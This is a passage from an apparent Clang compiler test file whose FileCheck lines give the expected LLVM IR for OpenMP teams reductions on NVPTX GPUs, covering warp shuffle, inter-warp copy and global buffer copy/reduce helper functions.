1.000000e+00, float* [[D_ON_STACK]], align 4 // CHECK1-NEXT: [[TMP2:%.*]] = load i8, i8* [[C1]], align 1 // CHECK1-NEXT: [[CONV:%.*]] = sext i8 [[TMP2]] to i32 // CHECK1-NEXT: [[XOR:%.*]] = xor i32 [[CONV]], 2 // CHECK1-NEXT: [[CONV3:%.*]] = trunc i32 [[XOR]] to i8 // CHECK1-NEXT: store i8 [[CONV3]], i8* [[C1]], align 1 // CHECK1-NEXT: [[TMP3:%.*]] = load float, float* [[D_ON_STACK]], align 4 // CHECK1-NEXT: [[MUL:%.*]] = fmul float [[TMP3]], 3.300000e+01 // CHECK1-NEXT: store float [[MUL]], float* [[D_ON_STACK]], align 4 // CHECK1-NEXT: [[TMP4:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 8 // CHECK1-NEXT: [[TMP5:%.*]] = load i32, i32* [[TMP4]], align 4 // CHECK1-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 0 // CHECK1-NEXT: store i8* [[C1]], i8** [[TMP6]], align 8 // CHECK1-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[TMP8:%.*]] = bitcast float* [[D_ON_STACK]] to i8* // CHECK1-NEXT: store i8* [[TMP8]], i8** [[TMP7]], align 8 // CHECK1-NEXT: [[TMP9:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK1-NEXT: [[TMP10:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 8 // CHECK1-NEXT: [[TMP11:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP5]], i8* [[TMP10]], i32 1024, i8* [[TMP9]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func3, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func4, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func5, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func6, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func7, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func8) // CHECK1-NEXT: [[TMP12:%.*]] = icmp eq i32 [[TMP11]], 1 // CHECK1-NEXT: br i1 [[TMP12]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK1: .omp.reduction.then: // CHECK1-NEXT: [[TMP13:%.*]] = load i8, i8* [[TMP0]], align 1 // CHECK1-NEXT: [[CONV4:%.*]] = sext i8 [[TMP13]] to i32 // CHECK1-NEXT: [[TMP14:%.*]] = load i8, i8* [[C1]], align 1 // CHECK1-NEXT: [[CONV5:%.*]] = sext i8 [[TMP14]] to i32 // CHECK1-NEXT: [[XOR6:%.*]] = xor i32 [[CONV4]], [[CONV5]] // CHECK1-NEXT: [[CONV7:%.*]] = trunc i32 [[XOR6]] to i8 // CHECK1-NEXT: store i8 [[CONV7]], i8* [[TMP0]], align 1 // CHECK1-NEXT: [[TMP15:%.*]] = load float, float* [[TMP1]], align 4 // CHECK1-NEXT: [[TMP16:%.*]] = load float, float* [[D_ON_STACK]], align 4 // CHECK1-NEXT: [[MUL8:%.*]] = fmul float [[TMP15]], [[TMP16]] // CHECK1-NEXT: store float [[MUL8]], float* [[TMP1]], align 4 // CHECK1-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP5]]) // CHECK1-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK1: .omp.reduction.done: // CHECK1-NEXT: call void @__kmpc_free_shared(i8* [[D2]], i64 4) // CHECK1-NEXT: call void @__kmpc_free_shared(i8* [[C1]], i64 1) // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func3 // CHECK1-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i8, align 1 // CHECK1-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca float, align 4 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK1-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK1-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK1-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK1-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK1-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK1-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK1-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 0 // CHECK1-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 8 // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP12:%.*]] = getelementptr i8, i8* [[TMP10]], i64 1 // CHECK1-NEXT: [[TMP13:%.*]] = load i8, i8* [[TMP10]], align 1 // CHECK1-NEXT: [[TMP14:%.*]] = sext i8 [[TMP13]] to i32 // CHECK1-NEXT: [[TMP15:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK1-NEXT: [[TMP16:%.*]] = trunc i32 [[TMP15]] to i16 // CHECK1-NEXT: [[TMP17:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP14]], i16 [[TMP7]], i16 [[TMP16]]) // CHECK1-NEXT: [[TMP18:%.*]] = trunc i32 [[TMP17]] to i8 // CHECK1-NEXT: store i8 [[TMP18]], i8* [[DOTOMP_REDUCTION_ELEMENT]], align 1 // CHECK1-NEXT: [[TMP19:%.*]] = getelementptr i8, i8* [[TMP10]], i64 1 // CHECK1-NEXT: [[TMP20:%.*]] = getelementptr i8, i8* [[DOTOMP_REDUCTION_ELEMENT]], i64 1 // CHECK1-NEXT: store i8* [[DOTOMP_REDUCTION_ELEMENT]], i8** [[TMP11]], align 8 // CHECK1-NEXT: [[TMP21:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 1 // CHECK1-NEXT: [[TMP22:%.*]] = load i8*, i8** [[TMP21]], align 8 // CHECK1-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[TMP24:%.*]] = bitcast i8* [[TMP22]] to float* // CHECK1-NEXT: [[TMP25:%.*]] = getelementptr float, float* [[TMP24]], i64 1 // CHECK1-NEXT: [[TMP26:%.*]] = bitcast float* [[TMP25]] to i8* // CHECK1-NEXT: [[TMP27:%.*]] = bitcast float* [[TMP24]] to i32* // CHECK1-NEXT: [[TMP28:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i32* // CHECK1-NEXT: [[TMP29:%.*]] = load i32, i32* [[TMP27]], align 4 // CHECK1-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK1-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK1-NEXT: [[TMP32:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP29]], i16 [[TMP7]], i16 [[TMP31]]) // CHECK1-NEXT: store i32 [[TMP32]], i32* [[TMP28]], align 4 // CHECK1-NEXT: [[TMP33:%.*]] = getelementptr i32, i32* [[TMP27]], i64 1 // CHECK1-NEXT: [[TMP34:%.*]] = getelementptr i32, i32* [[TMP28]], i64 1 // CHECK1-NEXT: [[TMP35:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK1-NEXT: store i8* [[TMP35]], i8** [[TMP23]], align 8 // CHECK1-NEXT: [[TMP36:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK1-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK1-NEXT: [[TMP38:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK1-NEXT: [[TMP39:%.*]] = and i1 [[TMP37]], [[TMP38]] // CHECK1-NEXT: [[TMP40:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK1-NEXT: [[TMP41:%.*]] = and i16 [[TMP6]], 1 // CHECK1-NEXT: [[TMP42:%.*]] = icmp eq i16 [[TMP41]], 0 // CHECK1-NEXT: [[TMP43:%.*]] = and i1 [[TMP40]], [[TMP42]] // CHECK1-NEXT: [[TMP44:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK1-NEXT: [[TMP45:%.*]] = and i1 [[TMP43]], [[TMP44]] // CHECK1-NEXT: [[TMP46:%.*]] = or i1 [[TMP36]], [[TMP39]] // CHECK1-NEXT: [[TMP47:%.*]] = or i1 [[TMP46]], [[TMP45]] // CHECK1-NEXT: br i1 [[TMP47]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK1: then: // CHECK1-NEXT: [[TMP48:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK1-NEXT: [[TMP49:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK1-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP48]], i8* [[TMP49]]) #[[ATTR3]] // CHECK1-NEXT: br label [[IFCONT:%.*]] // CHECK1: else: // CHECK1-NEXT: br label [[IFCONT]] // CHECK1: ifcont: // CHECK1-NEXT: [[TMP50:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK1-NEXT: [[TMP51:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK1-NEXT: [[TMP52:%.*]] = and i1 [[TMP50]], [[TMP51]] // CHECK1-NEXT: br i1 [[TMP52]], label [[THEN5:%.*]], label [[ELSE6:%.*]] // CHECK1: then5: // CHECK1-NEXT: [[TMP53:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP54:%.*]] = load i8*, i8** [[TMP53]], align 8 // CHECK1-NEXT: [[TMP55:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 0 // CHECK1-NEXT: [[TMP56:%.*]] = load i8*, i8** [[TMP55]], align 8 // CHECK1-NEXT: [[TMP57:%.*]] = load i8, i8* [[TMP54]], align 1 // CHECK1-NEXT: store i8 [[TMP57]], i8* [[TMP56]], align 1 // CHECK1-NEXT: [[TMP58:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[TMP59:%.*]] = load i8*, i8** [[TMP58]], align 8 // CHECK1-NEXT: [[TMP60:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 1 // CHECK1-NEXT: [[TMP61:%.*]] = load i8*, i8** [[TMP60]], align 8 // CHECK1-NEXT: [[TMP62:%.*]] = bitcast i8* [[TMP59]] to float* // CHECK1-NEXT: [[TMP63:%.*]] = bitcast i8* [[TMP61]] to float* // CHECK1-NEXT: [[TMP64:%.*]] = load float, float* [[TMP62]], align 4 // CHECK1-NEXT: store float [[TMP64]], float* [[TMP63]], align 4 // CHECK1-NEXT: br label [[IFCONT7:%.*]] // CHECK1: else6: // CHECK1-NEXT: br label [[IFCONT7]] // CHECK1: ifcont7: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func4 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK1-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK1-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [2 x i8*]* // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK1-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK1-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK1: then: // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 0 // CHECK1-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 8 // CHECK1-NEXT: [[TMP10:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK1-NEXT: [[TMP11:%.*]] = bitcast i32 addrspace(3)* [[TMP10]] to i8 addrspace(3)* // CHECK1-NEXT: [[TMP12:%.*]] = load i8, i8* [[TMP9]], align 1 // CHECK1-NEXT: store volatile i8 [[TMP12]], i8 addrspace(3)* [[TMP11]], align 1 // CHECK1-NEXT: br label [[IFCONT:%.*]] // CHECK1: else: // CHECK1-NEXT: br label [[IFCONT]] // CHECK1: ifcont: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK1-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP13]] // CHECK1-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK1: then2: // CHECK1-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK1-NEXT: [[TMP15:%.*]] = bitcast i32 addrspace(3)* [[TMP14]] to i8 addrspace(3)* // CHECK1-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 0 // CHECK1-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 8 // CHECK1-NEXT: [[TMP18:%.*]] = load volatile i8, i8 addrspace(3)* [[TMP15]], align 1 // CHECK1-NEXT: store i8 [[TMP18]], i8* [[TMP17]], align 1 // CHECK1-NEXT: br label [[IFCONT4:%.*]] // CHECK1: else3: // CHECK1-NEXT: br label [[IFCONT4]] // CHECK1: ifcont4: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK1-NEXT: [[WARP_MASTER5:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK1-NEXT: br i1 [[WARP_MASTER5]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK1: then6: // CHECK1-NEXT: [[TMP19:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 1 // CHECK1-NEXT: [[TMP20:%.*]] = load i8*, i8** [[TMP19]], align 8 // CHECK1-NEXT: [[TMP21:%.*]] = bitcast i8* [[TMP20]] to i32* // CHECK1-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK1-NEXT: [[TMP23:%.*]] = load i32, i32* [[TMP21]], align 4 // CHECK1-NEXT: store volatile i32 [[TMP23]], i32 addrspace(3)* [[TMP22]], align 4 // CHECK1-NEXT: br label [[IFCONT8:%.*]] // CHECK1: else7: // CHECK1-NEXT: br label [[IFCONT8]] // CHECK1: ifcont8: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK1-NEXT: [[TMP24:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[IS_ACTIVE_THREAD9:%.*]] = icmp ult i32 [[TMP3]], [[TMP24]] // CHECK1-NEXT: br i1 [[IS_ACTIVE_THREAD9]], label [[THEN10:%.*]], label [[ELSE11:%.*]] // CHECK1: then10: // CHECK1-NEXT: [[TMP25:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK1-NEXT: [[TMP26:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 1 // CHECK1-NEXT: [[TMP27:%.*]] = load i8*, i8** [[TMP26]], align 8 // CHECK1-NEXT: [[TMP28:%.*]] = bitcast i8* [[TMP27]] to i32* // CHECK1-NEXT: [[TMP29:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP25]], align 4 // CHECK1-NEXT: store i32 [[TMP29]], i32* [[TMP28]], align 4 // CHECK1-NEXT: br label [[IFCONT12:%.*]] // CHECK1: else11: // CHECK1-NEXT: br label [[IFCONT12]] // CHECK1: ifcont12: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func5 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK1-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK1-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i64 0, i64 0 // CHECK1-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 8 // CHECK1-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK1-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK1-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP9]], align 1 // CHECK1-NEXT: store i8 [[TMP11]], i8* [[TMP10]], align 128 // CHECK1-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i64 0, i64 1 // CHECK1-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 8 // CHECK1-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK1-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 1 // CHECK1-NEXT: [[TMP15:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK1-NEXT: [[TMP16:%.*]] = load float, float* [[TMP14]], align 4 // CHECK1-NEXT: store float [[TMP16]], float* [[TMP15]], align 128 // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func6 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK1-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK1-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK1-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 8 // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 1 // CHECK1-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK1-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK1-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 8 // CHECK1-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK1-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP11]], i8* [[TMP12]]) #[[ATTR3]] // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func7 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK1-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK1-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i64 0, i64 0 // CHECK1-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 8 // CHECK1-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK1-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK1-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP10]], align 128 // CHECK1-NEXT: store i8 [[TMP11]], i8* [[TMP9]], align 1 // CHECK1-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i64 0, i64 1 // CHECK1-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 8 // CHECK1-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK1-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 1 // CHECK1-NEXT: [[TMP15:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK1-NEXT: [[TMP16:%.*]] = load float, float* [[TMP15]], align 128 // CHECK1-NEXT: store float [[TMP16]], float* [[TMP14]], align 4 // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func8 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK1-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK1-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK1-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 8 // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 1 // CHECK1-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 